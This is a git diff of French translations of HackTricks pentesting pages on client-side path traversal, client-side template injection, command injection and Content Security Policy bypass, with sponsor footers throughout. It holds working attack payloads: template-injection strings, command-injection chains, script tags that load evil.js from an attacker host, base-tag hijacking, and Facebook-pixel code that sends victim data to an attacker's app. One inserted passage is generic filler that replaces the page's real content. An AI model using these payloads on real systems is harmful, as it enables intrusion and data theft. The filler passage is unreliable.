Une traversée de chemin côté client se produit lorsque vous pouvez **manipuler le chemin d'une URL** qui va être **envoyée à un utilisateur pour être visitée de manière légitime** ou qu'un utilisateur va être **forcé de visiter par exemple via JS ou CSS**.
|
||||
|
||||
Dans [**cette publication**](https://erasec.be/blog/client-side-path-manipulation/), il était possible de **changer l'URL d'invitation** de sorte qu'elle finisse par **annuler une carte**.
|
||||
Dans [**ce compte rendu**](https://erasec.be/blog/client-side-path-manipulation/), il était possible de **modifier l'URL d'invitation** pour finir par **annuler une carte**.
|
||||
|
||||
Dans [**cette publication**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), il était possible de combiner une **traversée de chemin côté client via CSS** (il était possible de changer le chemin où une ressource CSS était chargée) avec une **redirection ouverte** pour charger la ressource CSS à partir d'un **domaine contrôlé par un attaquant**.
|
||||
Dans [**ce compte rendu**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html), il était possible de combiner une **traversée de chemin côté client via CSS** (il était possible de changer le chemin d'où une ressource CSS était chargée) avec une **redirection ouverte** pour charger la ressource CSS à partir d'un **domaine contrôlé par l'attaquant**.
|
||||
|
|
|
@ -7,7 +7,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -15,9 +15,9 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
# Résumé
|
||||
|
||||
C'est comme une [**Injection de Modèle Côté Serveur**](ssti-server-side-template-injection/) mais côté **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du code JavaScript** arbitraire sur la victime.
|
||||
C'est comme une [**Injection de modèle côté serveur**](ssti-server-side-template-injection/) mais côté **client**. Le **SSTI** peut vous permettre d'**exécuter du code** sur le serveur distant, le **CSTI** pourrait vous permettre d'**exécuter du code JavaScript arbitraire** sur la victime.
|
||||
|
||||
La manière de **tester** cette vulnérabilité est très **similaire** à celle du **SSTI**, l'interpréteur s'attendra à quelque chose à exécuter **entre doubles accolades** et l'exécutera. Par exemple en utilisant quelque chose comme : `{{ 7-7 }}` si le serveur est **vulnérable** vous verrez un `0` et sinon vous verrez l'original : `{{ 7-7 }}`
|
||||
La manière de **tester** cette vulnérabilité est très **similaire** à celle du **SSTI**, l'interpréteur s'attendra à quelque chose à exécuter **entre doubles clés** et l'exécutera. Par exemple en utilisant quelque chose comme : `{{ 7-7 }}` si le serveur est **vulnérable** vous verrez un `0` et sinon vous verrez l'original : `{{ 7-7 }}`
|
||||
|
||||
# AngularJS
|
||||
|
||||
|
@ -40,7 +40,7 @@ Vous pouvez trouver un exemple en ligne très **basique** de la vulnérabilité
|
|||
|
||||
# VueJS
|
||||
|
||||
Vous pouvez trouver une implémentation **vue.js vulnérable** sur [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
||||
Vous pouvez trouver une implémentation **vue.js** vulnérable sur [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
|
||||
Charge utile fonctionnelle: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
|
||||
|
||||
Et le **code source** de l'exemple vulnérable est ici: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
|
||||
|
@ -48,7 +48,7 @@ Et le **code source** de l'exemple vulnérable est ici: [https://github.com/azu/
|
|||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
Un très bon article sur CSTI dans VUE peut être trouvé sur [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
Un très bon article sur CSTI en VUE peut être trouvé sur [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
|
||||
## **V3**
|
||||
```
|
||||
|
@ -95,8 +95,8 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Injection de Commande
|
||||
# Injection de commandes
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,27 +9,27 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Qu'est-ce que l'injection de commande ?
|
||||
## Qu'est-ce que l'injection de commandes ?
|
||||
|
||||
Une **injection de commande** permet l'exécution de commandes système arbitraires par un attaquant sur le serveur hébergeant une application. Par conséquent, l'application et toutes ses données peuvent être entièrement compromises. L'exécution de ces commandes permet généralement à l'attaquant de gagner un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent.
|
||||
Une **injection de commandes** permet l'exécution de commandes système arbitraires par un attaquant sur le serveur hébergeant une application. Par conséquent, l'application et toutes ses données peuvent être entièrement compromises. L'exécution de ces commandes permet généralement à l'attaquant de gagner un accès non autorisé ou un contrôle sur l'environnement de l'application et le système sous-jacent.
|
||||
|
||||
### Contexte
|
||||
|
||||
En fonction de **l'endroit où votre entrée est injectée**, vous devrez peut-être **terminer le contexte cité** (en utilisant `"` ou `'`) avant les commandes.
|
||||
En fonction de **l'endroit où votre entrée est injectée**, vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes.
|
||||
|
||||
## Injection/Exécution de Commande
|
||||
## Injection/Exécution de commandes
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
|
@ -50,7 +50,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||
```
|
||||
### **Contournement des limitations**
|
||||
|
||||
Si vous essayez d'exécuter **des commandes arbitraires à l'intérieur d'une machine Linux**, vous serez intéressé par la lecture de ces **contournements :**
|
||||
Si vous essayez d'exécuter des **commandes arbitraires à l'intérieur d'une machine Linux**, vous serez intéressé par la lecture de ces **contournements :**
|
||||
|
||||
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
|
@ -154,7 +154,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,9 +8,9 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,7 +22,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez à jour avec le monde du piratage en constante évolution grâce aux actualités et aux informations en temps réel
|
||||
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
@ -39,7 +39,7 @@ La mise en œuvre de la CSP est réalisée via des **en-têtes de réponse** ou
|
|||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
- Implémenté via balise meta :
|
||||
- Implémenté via la balise meta :
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
|
@ -105,7 +105,7 @@ object-src 'none';
|
|||
* `blob:`: Autorise le chargement de ressources à partir d'URL Blob (par exemple, des URL Blob créées via JavaScript).
|
||||
* `filesystem:`: Autorise le chargement de ressources à partir du système de fichiers.
|
||||
* `'report-sample'`: Inclut un échantillon du code en violation dans le rapport de violation (utile pour le débogage).
|
||||
* `'strict-origin'`: Similaire à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources depuis des origines sécurisées).
|
||||
* `'strict-origin'`: Similaire à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).
|
||||
* `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est cross-origin.
|
||||
* `'unsafe-allow-redirects'`: Autorise le chargement de ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
|
||||
|
||||
|
@ -140,7 +140,7 @@ Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||
```
|
||||
Payload de travail:
|
||||
Charge utile de travail :
|
||||
```markup
|
||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||
|
@ -169,7 +169,7 @@ Charge utile fonctionnelle :
|
|||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et ne vous permettra d'**uploader que des types de fichiers spécifiques**.
|
||||
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et ne vous permettra de **télécharger qu'un type spécifique de fichiers**.
|
||||
|
||||
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
|
||||
|
||||
|
@ -264,18 +264,18 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est de confiance, les redirections sont de confiance.
|
||||
|
||||
### Abus de tiers
|
||||
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour soit exfiltrer des données soit exécuter du code JavaScript. Certains de ces tiers sont :
|
||||
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour exfiltrer des données ou exécuter du code JavaScript. Certains de ces tiers sont :
|
||||
|
||||
| Entité | Domaine Autorisé | Capacités |
|
||||
| Entité | Domaine autorisé | Capacités |
|
||||
|--------|------------------|------------|
|
||||
| Facebook | www.facebook.com, *.facebook.com | Exfil |
|
||||
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | *.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | *.firebaseapp.com | Exfil, Exec |
|
||||
| Facebook | www.facebook.com, *.facebook.com | Exfiltration |
|
||||
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfiltration |
|
||||
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exécution |
|
||||
| Amazon CloudFront | *.cloudfront.net | Exfiltration, Exécution |
|
||||
| Amazon AWS | *.amazonaws.com | Exfiltration, Exécution |
|
||||
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfiltration, Exécution |
|
||||
| Salesforce Heroku | *.herokuapp.com | Exfiltration, Exécution |
|
||||
| Google Firebase | *.firebaseapp.com | Exfiltration, Exécution |
|
||||
|
||||
Si vous trouvez l'un des domaines autorisés dans la CSP de votre cible, il est probable que vous puissiez contourner la CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.
|
||||
|
||||
|
@ -283,34 +283,40 @@ Par exemple, si vous trouvez la CSP suivante :
|
|||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
```markdown
|
||||
## Contournement de la stratégie de sécurité du contenu (CSP)
|
||||
# Contournement de la politique de sécurité du contenu (CSP)
|
||||
|
||||
Lorsqu'un site Web met en œuvre une stratégie de sécurité du contenu (CSP) pour limiter les types de contenu exécutables sur une page Web, il est possible de contourner ces restrictions en exploitant des vulnérabilités spécifiques.
|
||||
---
|
||||
|
||||
### Contournement de CSP via les directives `unsafe-inline` et `unsafe-eval`
|
||||
## Contournement de la CSP basique
|
||||
|
||||
Les directives `unsafe-inline` et `unsafe-eval` dans une CSP permettent respectivement l'exécution de scripts en ligne et l'évaluation de code JavaScript à partir de chaînes. Ces directives peuvent être exploitées pour contourner la CSP en injectant du code malveillant directement dans le contenu autorisé.
|
||||
La CSP basique peut être contournée de différentes manières, notamment en utilisant des techniques telles que l'inclusion de scripts externes, l'utilisation de la directive `unsafe-inline`, l'utilisation de `eval()` et d'autres méthodes d'exécution de code dynamique.
|
||||
|
||||
### Contournement de CSP via les attaques de type XSS
|
||||
## Contournement de la CSP avec des scripts externes
|
||||
|
||||
Les attaques de type XSS (Cross-Site Scripting) peuvent également être utilisées pour contourner une CSP en injectant du code JavaScript malveillant dans une page Web. En exploitant des failles XSS, un attaquant peut contourner les restrictions de la CSP et exécuter du code arbitraire sur le site ciblé.
|
||||
L'une des façons les plus courantes de contourner une CSP est d'utiliser des scripts externes hébergés sur des domaines approuvés par la CSP. Cela permet d'exécuter du code JavaScript sans enfreindre la CSP.
|
||||
|
||||
Il est essentiel pour les développeurs de sites Web de comprendre ces techniques de contournement de CSP et de mettre en œuvre des mesures de sécurité appropriées pour protéger leurs applications contre de telles attaques.
|
||||
```
|
||||
## Contournement de la CSP avec l'utilisation de `unsafe-inline`
|
||||
|
||||
En autorisant l'utilisation de `unsafe-inline`, il est possible d'exécuter du code JavaScript directement dans le contexte de la page, contournant ainsi les restrictions de la CSP.
|
||||
|
||||
## Contournement de la CSP avec l'utilisation de `eval()`
|
||||
|
||||
L'utilisation de la fonction `eval()` pour exécuter du code JavaScript peut contourner la CSP en permettant l'exécution de code dynamique à partir de chaînes de caractères.
|
||||
|
||||
---
|
||||
|
||||
Ces techniques de contournement de la CSP peuvent être utilisées par des attaquants pour exécuter du code malveillant sur un site web, contournant ainsi les mesures de sécurité mises en place par la CSP. Il est important de comprendre ces techniques afin de mieux protéger les applications web contre les attaques potentielles.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Vous devriez être capable d'exfiltrer des données, de la même manière que cela a toujours été fait avec [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Dans ce cas, suivez ces étapes générales :
|
||||
|
||||
1. Créez un compte développeur Facebook ici.
|
||||
1. Créez une nouvelle application "Facebook Login" et sélectionnez "Site Web".
|
||||
1. Créez un compte développeur Facebook [ici](https://developers.facebook.com/).
|
||||
1. Créez une nouvelle application "Facebook Login" et sélectionnez "Site web".
|
||||
1. Allez dans "Paramètres -> Général" et obtenez votre "ID d'application".
|
||||
1. Sur le site cible dont vous souhaitez exfiltrer des données, vous pouvez le faire directement en utilisant le gadget SDK Facebook "fbq" via un "customEvent" et la charge utile de données.
|
||||
1. Allez dans votre "Gestionnaire d'événements" de l'application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
|
||||
1. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par "votre" site web.
|
||||
1. Accédez à votre "Gestionnaire d'événements" de l'application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
|
||||
1. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par votre site web.
|
||||
|
||||
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers le compte développeur Facebook de l'attaquant avec l'ID d'application et émettre un événement personnalisé comme ceci :
|
||||
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'application du compte développeur Facebook de l'attaquant avec l'ID d'application et émettre un événement personnalisé comme suit :
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
|
@ -329,7 +335,7 @@ Le navigateur chargera finalement `https://example.com/scripts/angular/angular.j
|
|||
|
||||
Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP.
|
||||
|
||||
Ainsi, ils le décoderont, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
|
||||
Ainsi, il le décodera, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
En **exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
|
||||
|
||||
|
@ -337,18 +343,18 @@ La solution est de ne pas traiter `%2f` comme `/` côté serveur, assurant une i
|
|||
|
||||
Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Exécution de JS dans les iframes
|
||||
### Exécution de JS via des iframes
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### manquant **base-uri**
|
||||
### **base-uri** manquant
|
||||
|
||||
Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage pendante**](../dangling-markup-html-scriptless-injection/).
|
||||
Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la balise **base** pour **charger** le script depuis **votre propre serveur pour réaliser un XSS.**\
|
||||
Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise de base.
|
||||
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la balise **base** pour faire **charger** le script depuis **votre propre serveur pour réaliser un XSS.**\
|
||||
Si la page vulnérable est chargée en **httpS**, utilisez une URL en httpS dans la balise base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
|
@ -412,7 +418,7 @@ Avec cette redirection, même si le chemin est spécifié complètement, il sera
|
|||
|
||||
Par conséquent, la meilleure solution est de s'assurer que le site web n'a pas de vulnérabilités de redirection ouverte et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
|
||||
|
||||
### Contourner CSP avec du balisage suspendu
|
||||
### Contourner CSP avec un balisage suspendu
|
||||
|
||||
Lire [comment ici](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
|
@ -428,7 +434,7 @@ Vous pouvez contourner ce CSP en exfiltrant les données via des images (dans ce
|
|||
```
|
||||
De : [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Vous pourriez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page permet de charger des images depuis Twitter, vous pourriez **créer** une **image spéciale**, la **téléverser** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Vous pourriez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter. Vous pourriez **créer** une **image spéciale**, la **téléverser** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Avec les Travailleurs de Service
|
||||
|
||||
|
@ -460,7 +466,7 @@ Exemple: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y
|
|||
### img-src \*; via XSS (iframe) - Attaque temporelle
|
||||
|
||||
Remarquez l'absence de la directive `'unsafe-inline'`\
|
||||
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps nécessaire à la page pour se charger**, vous pouvez extraire les informations dont vous avez besoin.
|
||||
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps nécessaire pour que la page se charge**, vous pouvez extraire les informations dont vous avez besoin.
|
||||
|
||||
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction de pause. Ensuite, vous pourrez extraire le drapeau:
|
||||
```html
|
||||
|
@ -532,7 +538,7 @@ Pour plus d'informations, [**consultez le rapport original ici**](https://socrad
|
|||
|
||||
